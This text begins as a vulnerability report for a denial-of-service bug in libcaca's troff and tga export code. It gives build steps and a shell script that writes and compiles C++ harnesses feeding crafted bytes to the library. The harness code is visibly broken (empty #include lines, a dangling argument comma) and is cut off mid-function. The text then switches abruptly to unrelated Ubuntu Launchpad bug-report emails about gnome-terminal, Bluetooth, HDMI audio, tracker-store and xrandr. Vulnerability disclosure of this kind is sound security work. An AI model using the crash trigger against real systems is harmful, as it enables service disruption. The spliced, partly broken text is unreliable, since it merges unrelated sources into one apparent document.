libcaca/caca/codec/export.c
-> export_troff() in
libcaca/caca/codec/export.c
## Attack Type
Context-dependent
## Impact Denial of Service
true
## Reference
https://github.com/cacalabs/libcaca
## Discoverer
fdgnneig
## Verification process and POC
### Verification steps：
1.Get the source code of libcaca:
2.Compile the libcaca.so library:
```shell
$ cd libcaca
$ apt-get install automake libtool pkg-config -y
$ ./bootstrap
$ ./configure
$ make
3.Run POC.sh to compile poc_troff.cc 、poc_tga.cc
4.Run POC
POC.sh
```
cat << EOF > poc_troff.cc
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include
#include
#include
#include
#include
#include
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t
Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"troff",);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] =
{0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
EOF
clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address
-I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o
poc_troff
cat << EOF > poc_tga.cc
#include "config.h"
#include "caca.h"
#include
#include
#include
#include
#include
#include
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t
Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"tga",);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
return 0;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] =
{0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
[Desktop-packages] [Bug 1922839] Re: Opening new tab in gnome-terminal launched from nautilus loses most environment variables
** Description changed: [Impact] If you launch gnome-terminal by right clicking a directory in Nautilus, selecting "Open in Terminal", you get a fully functional terminal window. If you then press the new tab button, or ctrl-shift-t to open a new terminal tab, you will find that most environment variables have become unset, and you see the text: To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details. Comparing printenv between: Normal terminal: https://paste.ubuntu.com/p/2hcCY9hbHQ/ Broken new terminal tab: https://paste.ubuntu.com/p/zYsjRHVJH7/ Most commands won't run in the new terminal tab, due to $HOME and $USER not being set. Note, if you launch gnome-terminal from gnome-shell or the dock, and create a new tab, everything works perfectly. Is something wrong with the Nautilus option for "Open in Terminal"? + + [Testcase] + + 1. Launch Nautilus to home directory + 2. Right click > "Open in Terminal" + 3. Run "printenv" to see full list of env variables + 4. Click new tab button, or ctrl-shift-t + 5. Run "printenv" see the lack of env variables + + I have a test package available in the below ppa: + + https://launchpad.net/~mruffell/+archive/ubuntu/lp1922839-test + + The build in the ppa has 16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac + reverted. + + If you install this package, environment variables will be set + correctly. + + [Where problems could occur] + + I think there is some risk with re-instating a commit which has been + reverted, and users could run into similar issues as found in the + upstream bug. + + We do have some supporting evidence that the commit isn't too harmful, + since it is applied to Groovy currently, things work as intended there, + and users haven't complained about the issues in the upstream bug + applying to Groovy. + + If a regression were to occur, then launching a new gnome-terminal or + opening a new tab could land the user with a terminal with little to no + environment variables set. A workaround will be to launch gnome-terminal + from gnome-shell overview. + + [Other info] + + Groovy has the following commit applied: + + commit fd5ac772154426e2da5afd633b336414bca33be9 + Author: Christian Persch + Date: Mon Mar 23 09:57:56 2020 +0100 + Subject: screen: Use clean env when creating new tab + Link: https://gitlab.gnome.org/GNOME/gnome-terminal/-/commit/fd5ac772154426e2da5afd633b336414bca33be9 + + This was then reverted in 3.38.1 due to the upstream bug: + + https://gitlab.gnome.org/GNOME/gnome-terminal/-/issues/253 + + The reverted commit is: + + commit 16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac + Author: Christian Persch + Date: Thu Sep 17 17:10:47 2020 +0200 + Subject: Revert "screen: Use clean env when creating new tab" + Link: https://gitlab.gnome.org/GNOME/gnome-terminal/-/commit/16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac + + This revert seems to have broken Hirsute. If we revert the revert, that is, + apply the commit again, things work as intended. + + To fix this, we need to revert 16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-terminal in Ubuntu. https://bugs.launchpad.net/bugs/1922839 Title: Opening new tab in gnome-terminal launched from nautilus loses most environment variables Status in gnome-terminal package in Ubuntu: New Status in gnome-terminal source package in Hirsute: New Bug description: [Impact] If you launch gnome-terminal by right clicking a directory in Nautilus, selecting "Open in Terminal", you get a fully functional terminal window. If you then press the new tab button, or ctrl-shift-t to open a new terminal tab, you will find that most environment variables have become unset, and you see the text: To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details. Comparing printenv between: Normal terminal: https://paste.ubuntu.com/p/2hcCY9hbHQ/ Broken new terminal tab: https://paste.ubuntu.com/p/zYsjRHVJH7/ Most commands won't run in the new terminal tab, due to $HOME and $USER not being set. Note, if you launch gnome-terminal from gnome-shell or the dock, and create a new tab, everything works perfectly. Is something wrong with the Nautilus option for "Open in Terminal"? [Testcase] 1. Launch Nautilus to home directory 2. Right click > "Open in Terminal" 3. Run "printenv" to see full list of env variables 4. Click new tab button, or ctrl-shift-t 5. Run "printenv" see the lack of env variables I have a test package available in the below ppa: https://launchpad.net/~mruffell/+archive/ubuntu/lp1922839-test The build in the ppa has 16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac reverted. If you install this package, environment variables will be set correctly. [Where problems could occur] I think there is some risk
[Desktop-packages] [Bug 1923323] Re: Bluetooth will not stay OFF upon resume
So..., I think I figured out why "systemctl stop bluetooth" sometimes works to disable BT thru a suspend/wake cycle, and sometimes not. If you turn OFF BT using the GNOME settings, regardless of whether or not you do a "systemctl stop bluetooth"..., BT will ALWAYS be turned back ON after a suspend/wake cycle. If you leave the GNOME BT setting as ON however, and if you do a "systemctl stop bluetooth", BT will stay OFF following a suspend/wake cycle, presumably because the GNOME power management code thinks BT is already ON..., and so takes no action to enable it. Basically..., the left hand doesn't know what the right hand is doing. My inclination is to pin this bug on the GNOME power management code at this point. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-power-manager in Ubuntu. https://bugs.launchpad.net/bugs/1923323 Title: Bluetooth will not stay OFF upon resume Status in gnome-power-manager package in Ubuntu: New Bug description: First: apologies for the possibly incorrect package assignment..., but "ubuntu-bug" required I select something. Second..., this is pasted from two postings I made in Ubuntu Forums... --- Thinkpad P15gen1, Ubuntu 20.04: Repeat-by: Enable BT using the top menu bar dropdown and connect with a BT speaker (a BT stereo adapter in this case). Play some music..., whatever. Disable BT using the top menu bar dropdown. Sleep the machine (close the lid). Note: machine is set to suspend and lock screen upon lid closure. Wake the machine (open the lid) and unlock screen. BT is enabled and connects even though it was disabled prior to suspend. Heh, the funny thing is that BT has been very reliable in every other way. How do I get BT to stay OFF when I turn it off? (..., and still have it turn on, and work, when I turn it on ). --- I've spent some time trying to characterize the problem. None of the settings related to power management seemed to relate to the BT failing to stay OFF problem, however..., along the way, I did find another interesting and perhaps related problem: The following setting: "Power"->"Power Saving"->"Bluetooth (Bluetooth can be turned off to save power)"->OFF/ON appears to duplicate the function of the "Bluetooth"->OFF/ON switch setting. They do the EXACT same thing. They mirror each other. E.g., when BT is turned on, the BT power save switch will be on. Turn BT off..., and the BT power save switch will turn off. Now..., turn BT back on, and then turn the BT power save switch off..., the entirety of BT will turn off..., EVEN if there is an active, running connection. Turn the BT power save switch back ON..., and BT will turn back ON. This is bogus. If the mapping of the GUI functionality to BT settings is broken, it's not a long stretch to think some other mapping or use/management of BT settings is broken as well..., especially since it's in the neighborhood of power management. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: gnome-power-manager 3.32.0-2 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sat Apr 10 12:08:47 2021 DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-sutton-focal-amd64-20201012-119+sutton-simon-focal-amd64+iso InstallationDate: Installed on 2020-10-22 (170 days ago) InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 20201012-17:03 ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gnome-power-manager UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-power-manager/+bug/1923323/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923525] Re: gnome-control-center sound won't set hdmi 5.1
this line looks relevent 18:57:44.0656 Gvc:DEBUG gvc_mixer_control_lookup_device_from_stream - Could not find a device for stream 'Built-in Audio Digital Stereo (HDMI)' ** Attachment added: "gnome-control-center -v > .log" https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1923525/+attachment/5487068/+files/gnome-control-center.log -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1923525 Title: gnome-control-center sound won't set hdmi 5.1 Status in gnome-control-center package in Ubuntu: New Bug description: gnome-control-center sound Shows output device: hdmi-audio configure: stereo I change configure to 5.1 output device changes to "dummy" and the configure UI goes away. ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: gnome-control-center 1:3.38.5-1ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 18:47:39 2021 InstallationDate: Installed on 2021-04-12 (0 days ago) InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Beta amd64 (20210412) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gnome-control-center UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1923525/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923525] [NEW] gnome-control-center sound won't set hdmi 5.1
Public bug reported: gnome-control-center sound Shows output device: hdmi-audio configure: stereo I change configure to 5.1 output device changes to "dummy" and the configure UI goes away. ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: gnome-control-center 1:3.38.5-1ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 18:47:39 2021 InstallationDate: Installed on 2021-04-12 (0 days ago) InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Beta amd64 (20210412) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gnome-control-center UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: gnome-control-center (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug hirsute wayland-session -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1923525 Title: gnome-control-center sound won't set hdmi 5.1 Status in gnome-control-center package in Ubuntu: New Bug description: gnome-control-center sound Shows output device: hdmi-audio configure: stereo I change configure to 5.1 output device changes to "dummy" and the configure UI goes away. ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: gnome-control-center 1:3.38.5-1ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 18:47:39 2021 InstallationDate: Installed on 2021-04-12 (0 days ago) InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Beta amd64 (20210412) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gnome-control-center UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1923525/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923323] Re: Bluetooth will not stay OFF upon resume
Sigh. So I repeatedly testing suspend/wake following a systemctl stop bluetooth..., and BT stayed off. Until now. I left the machine to sleep for maybe an hour..., just woke it..., boom..., BT is back on. So..., I guess I retract my prior "correction". -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-power-manager in Ubuntu. https://bugs.launchpad.net/bugs/1923323 Title: Bluetooth will not stay OFF upon resume Status in gnome-power-manager package in Ubuntu: New Bug description: First: apologies for the possibly incorrect package assignment..., but "ubuntu-bug" required I select something. Second..., this is pasted from two postings I made in Ubuntu Forums... --- Thinkpad P15gen1, Ubuntu 20.04: Repeat-by: Enable BT using the top menu bar dropdown and connect with a BT speaker (a BT stereo adapter in this case). Play some music..., whatever. Disable BT using the top menu bar dropdown. Sleep the machine (close the lid). Note: machine is set to suspend and lock screen upon lid closure. Wake the machine (open the lid) and unlock screen. BT is enabled and connects even though it was disabled prior to suspend. Heh, the funny thing is that BT has been very reliable in every other way. How do I get BT to stay OFF when I turn it off? (..., and still have it turn on, and work, when I turn it on ). --- I've spent some time trying to characterize the problem. None of the settings related to power management seemed to relate to the BT failing to stay OFF problem, however..., along the way, I did find another interesting and perhaps related problem: The following setting: "Power"->"Power Saving"->"Bluetooth (Bluetooth can be turned off to save power)"->OFF/ON appears to duplicate the function of the "Bluetooth"->OFF/ON switch setting. They do the EXACT same thing. They mirror each other. E.g., when BT is turned on, the BT power save switch will be on. Turn BT off..., and the BT power save switch will turn off. Now..., turn BT back on, and then turn the BT power save switch off..., the entirety of BT will turn off..., EVEN if there is an active, running connection. Turn the BT power save switch back ON..., and BT will turn back ON. This is bogus. If the mapping of the GUI functionality to BT settings is broken, it's not a long stretch to think some other mapping or use/management of BT settings is broken as well..., especially since it's in the neighborhood of power management. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: gnome-power-manager 3.32.0-2 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sat Apr 10 12:08:47 2021 DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-sutton-focal-amd64-20201012-119+sutton-simon-focal-amd64+iso InstallationDate: Installed on 2020-10-22 (170 days ago) InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 20201012-17:03 ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gnome-power-manager UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-power-manager/+bug/1923323/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923517] Re: tracker-store crashed with signal 5
** Tags removed: need-amd64-retrace -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to tracker in Ubuntu. https://bugs.launchpad.net/bugs/1923517 Title: tracker-store crashed with signal 5 Status in tracker package in Ubuntu: New Bug description: This happens with g_listenv jpeisach@Joshua-PCTest ~/D/xreader-2.8.3 (master)> addr2line -e /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.6800.0 3F3A7 -fCi g_listenv ??:? ProblemType: Crash DistroRelease: Ubuntu 21.04 Package: tracker 2.3.6-2 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: X-Cinnamon Date: Mon Apr 12 18:16:39 2021 ExecutablePath: /usr/libexec/tracker-store InstallationDate: Installed on 2021-04-07 (5 days ago) InstallationMedia: ubuntucinnamonremix "@BASECODENAME" (20210407) ProcCmdline: /usr/libexec/tracker-store RebootRequiredPkgs: libc6 Signal: 5 SourcePackage: tracker StacktraceTop: () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so tracker_db_interface_sqlite_fts_delete_id () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so Title: tracker-store crashed with signal 5 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sudo separator: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/tracker/+bug/1923517/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923517] [NEW] tracker-store crashed with signal 5
Public bug reported: This happens with g_listenv jpeisach@Joshua-PCTest ~/D/xreader-2.8.3 (master)> addr2line -e /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.6800.0 3F3A7 -fCi g_listenv ??:? ProblemType: Crash DistroRelease: Ubuntu 21.04 Package: tracker 2.3.6-2 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: X-Cinnamon Date: Mon Apr 12 18:16:39 2021 ExecutablePath: /usr/libexec/tracker-store InstallationDate: Installed on 2021-04-07 (5 days ago) InstallationMedia: ubuntucinnamonremix "@BASECODENAME" (20210407) ProcCmdline: /usr/libexec/tracker-store RebootRequiredPkgs: libc6 Signal: 5 SourcePackage: tracker StacktraceTop: () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so tracker_db_interface_sqlite_fts_delete_id () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so Title: tracker-store crashed with signal 5 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sudo separator: ** Affects: tracker (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-crash hirsute need-amd64-retrace ** Information type changed from Private to Public -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to tracker in Ubuntu. https://bugs.launchpad.net/bugs/1923517 Title: tracker-store crashed with signal 5 Status in tracker package in Ubuntu: New Bug description: This happens with g_listenv jpeisach@Joshua-PCTest ~/D/xreader-2.8.3 (master)> addr2line -e /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.6800.0 3F3A7 -fCi g_listenv ??:? ProblemType: Crash DistroRelease: Ubuntu 21.04 Package: tracker 2.3.6-2 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: X-Cinnamon Date: Mon Apr 12 18:16:39 2021 ExecutablePath: /usr/libexec/tracker-store InstallationDate: Installed on 2021-04-07 (5 days ago) InstallationMedia: ubuntucinnamonremix "@BASECODENAME" (20210407) ProcCmdline: /usr/libexec/tracker-store RebootRequiredPkgs: libc6 Signal: 5 SourcePackage: tracker StacktraceTop: () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so tracker_db_interface_sqlite_fts_delete_id () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so () at /usr/lib/x86_64-linux-gnu/tracker-2.0/libtracker-data.so Title: tracker-store crashed with signal 5 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sudo separator: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/tracker/+bug/1923517/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923513] [NEW] xrandr --panning problem
Public bug reported: Dear community Recently I upgraded my old netbook from Linux from Linux Mint 18 to Linux Mint 20 Distribution: cat /etc/upstream-release/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=20.04 DISTRIB_CODENAME=focal DISTRIB_DESCRIPTION="Ubuntu Focal Fossa" Netbook is with small screen 1024x600 To get bigger virtual screen I use xrandr like: xrandr --fb 1024x768 --output LVDS1 --panning 1024x768 To return to normal screen I use xrandr --fb 1024x600 What is expected: when the mouse moves outside the 1024x600 screen - new "clean" virtual area appears. What is in reality: With fresh Ubuntu the first script results to wrong "background" image on the extended area: When I move mouse down below the original 600 pixels, first 768-600=168 strings are shown like a background image. Or new virtual 601 string is the copy of the old 1 602 string is the copy of the old 2 ... 768 string is the copy of the old 168 It looks like an index shift in the array: The string which "disappears" from the top is moved to the bottom This "background" image can be overwritten by the real application window. For example, if I move the terminal window it appears on the top of this "background" But after moving mouse back inside the 1024x600 screen and back outside the 1024x600 screen, the shifted copy of the top part of the screen appears at the bottom according the 1->601 2->602 etc logic. After playing a lot with xrandr parameters I had found a workaround: One has to specify the first parameter in --fb bigger than the first parameter in --panning For example: xrandr --fb 1025x768 --output LVDS1 --panning 1024x768 Here 1025>1024 I had checked this bug with two different laptops, so it is not related with the hardware. More information: xrandr -v xrandr program version 1.5.0 Server reports RandR version 1.6 The working configuration: xrandr Screen 0: minimum 8 x 8, current 1025 x 768, maximum 32767 x 32767 LVDS1 connected primary 1024x768+0+0 (normal left inverted right x axis y axis) 220mm x 130mm panning 1024x768+0+0 1024x600 60.19*+ 1024x576 59.9059.82 960x540 59.6359.82 800x600 60.3256.25 864x486 59.9259.57 640x480 59.94 720x405 59.5158.99 640x360 59.8459.32 512x300 60.00 VGA1 disconnected (normal left inverted right x axis y axis) VIRTUAL1 disconnected (normal left inverted right x axis y axis Wrongly working configuration: xrandr Screen 0: minimum 8 x 8, current 1024 x 768, maximum 32767 x 32767 LVDS1 connected primary 1024x768+0+0 (normal left inverted right x axis y axis) 220mm x 130mm panning 1024x768+0+0 1024x600 60.19*+ 1024x576 59.9059.82 960x540 59.6359.82 800x600 60.3256.25 864x486 59.9259.57 640x480 59.94 720x405 59.5158.99 640x360 59.8459.32 512x300 60.00 VGA1 disconnected (normal left inverted right x axis y axis) VIRTUAL1 disconnected (normal left inverted right x axis y axis) Hope you can reproduce this bug. Best regards, Dmitry ** Affects: xorg (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923513 Title: xrandr --panning problem Status in xorg package in Ubuntu: New Bug description: Dear community Recently I upgraded my old netbook from Linux from Linux Mint 18 to Linux Mint 20 Distribution: cat /etc/upstream-release/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=20.04 DISTRIB_CODENAME=focal DISTRIB_DESCRIPTION="Ubuntu Focal Fossa" Netbook is with small screen 1024x600 To get bigger virtual screen I use xrandr like: xrandr --fb 1024x768 --output LVDS1 --panning 1024x768 To return to normal screen I use xrandr --fb 1024x600 What is expected: when the mouse moves outside the 1024x600 screen - new "clean" virtual area appears. What is in reality: With fresh Ubuntu the first script results to wrong "background" image on the extended area: When I move mouse down below the original 600 pixels, first 768-600=168 strings are shown like a background image. Or new virtual 601 string is the copy of the old 1 602 string is the copy of the old 2 ... 768 string is the copy of the old 168 It looks like an index shift in the array: The string which "disappears" from the top is moved to the bottom This "background" image can be overwritten by the real application window. For example, if I move the terminal window it appears on the top of this "background" But after moving mouse back inside the 1024x600 screen and back outside the 1024x600 screen, the shifted copy of the top part of the screen appears at the bottom
[Desktop-packages] [Bug 1923512] [NEW] Simple Scan
Public bug reported: Non si avvia ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-122.124-generic 4.15.18 Uname: Linux 4.15.0-122-generic i686 .tmp.unity_support_test.0: ApportVersion: 2.20.9-0ubuntu7.17 Architecture: i386 CompositorRunning: None Date: Mon Apr 12 23:52:06 2021 DistUpgraded: 2020-12-01 13:10:34,496 DEBUG /openCache(), new cache size 61032 DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: virtualbox, 5.2.18, 4.15.0-122-generic, i686: installed GraphicsCard: Intel Corporation 4 Series Chipset Integrated Graphics Controller [8086:2e32] (rev 03) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. 4 Series Chipset Integrated Graphics Controller [1043:836d] InstallationDate: Installed on 2019-10-24 (536 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release i386 (20160420.1) MachineType: System manufacturer System Product Name ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-122-generic root=UUID=6461ddc3-6faf-4eb3-8849-9f07b17f6e9d ro quiet splash Renderer: Software SourcePackage: xorg UpgradeStatus: Upgraded to bionic on 2020-12-01 (132 days ago) dmi.bios.date: 06/22/2010 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 0416 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: P5QPL-AM dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr0416:bd06/22/2010:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnP5QPL-AM:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.family: To Be Filled By O.E.M. dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.101-2~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.0.8-0ubuntu1~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.0.8-0ubuntu1~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.7 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 xserver.bootTime: Sun Mar 8 18:21:30 2020 xserver.configfile: default xserver.devices: inputPower Button KEYBOARD, id 6 inputPower Button KEYBOARD, id 7 inputYSTEK USB Mouse MOUSE, id 8 inputMicrosoft® LifeCam VX-2000: Mi KEYBOARD, id 9 inputAT Translated Set 2 keyboard KEYBOARD, id 10 xserver.logfile: /var/log/Xorg.0.log 